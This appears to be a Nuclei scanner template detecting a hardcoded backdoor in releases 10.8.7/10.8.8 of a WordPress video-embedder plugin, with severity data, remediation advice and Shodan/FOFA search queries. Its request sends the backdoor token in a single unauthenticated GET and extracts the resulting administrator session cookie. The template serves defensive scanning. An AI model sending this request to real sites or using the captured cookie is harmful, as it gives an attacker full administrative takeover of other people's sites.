CVE-2026-18072: Advanced Responsive Video Embedder 10.8.7/10.8.8 - Hardcoded Backdoor Authentication Bypass

id: CVE-2026-18072

info:
  name: Advanced Responsive Video Embedder 10.8.7/10.8.8 - Hardcoded Backdoor Authentication Bypass
  author: str4k3r
  severity: critical
  description: |
    The compromised Advanced Responsive Video Embedder WordPress plugin releases 10.8.7 and 10.8.8 accept a hardcoded token through the `_wplogin` parameter and establish an authenticated administrator session before normal authentication. A single unauthenticated GET request triggers the backdoor. This template only inspects the redirect and session-cookie response and does not perform any administrative action.
  impact: |
    An unauthenticated attacker gains a full administrator session on the WordPress site, allowing complete takeover including plugin/theme editing, arbitrary PHP execution, and data theft.
  remediation: |
    Immediately remove the Advanced Responsive Video Embedder plugin versions 10.8.7 and 10.8.8, reinstall a known-clean release, rotate all secrets and passwords, and audit for rogue administrator accounts and web shells created after the backdoor was published.
  reference:
    - https://www.wordfence.com/blog/2026/07/wordfence-prism-detected-backdoored-wordpress-plugin-within-two-hours-of-it-being-introduced/
    - https://plugins.trac.wordpress.org/browser/advanced-responsive-video-embedder/tags/10.8.7/php/fn-update-check.php
    - https://nvd.nist.gov/vuln/detail/CVE-2026-18072
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-18072
    epss-score: 0.02983
    epss-percentile: 0.86888
    cwe-id: CWE-798
  metadata:
    verified: true
    max-request: 1
    vendor: advanced-responsive-video-embedder
    product: advanced-responsive-video-embedder
    framework: wordpress
    shodan-query: http.html:"advanced-responsive-video-embedder"
    fofa-query: body="advanced-responsive-video-embedder"
  tags: cve,cve2026,wordpress,wp-plugin,wp,backdoor,authbypass,unauth,arve

http:
  - method: GET
    path:
      - "{{BaseURL}}/?_wplogin=35fe7057ffed92ff7bc5a0b90f302a77fb5843ad6c972294d68da0b0553b3900"

    redirects: false

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "/wp-admin/"

      - type: regex
        part: header
        regex:
          - "(?i)set-cookie:\\s*wordpress_logged_in_[a-f0-9]{32}="

      - type: status
        status:
          - 302

    extractors:
      - type: regex
        part: header
        group: 1
        regex:
          - "(?i)wordpress_logged_in_[a-f0-9]{32}=([^;]+)"
# digest: 4a0a0047304502201f1d8ed96972e7c2f1940459d1807c9bd19b737e2566102b4fcbcb3b48ce0714022100a13ca7486bdefdc32462a9b3cfdabfc2b4d5459318977315a204d57afa37ba4c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.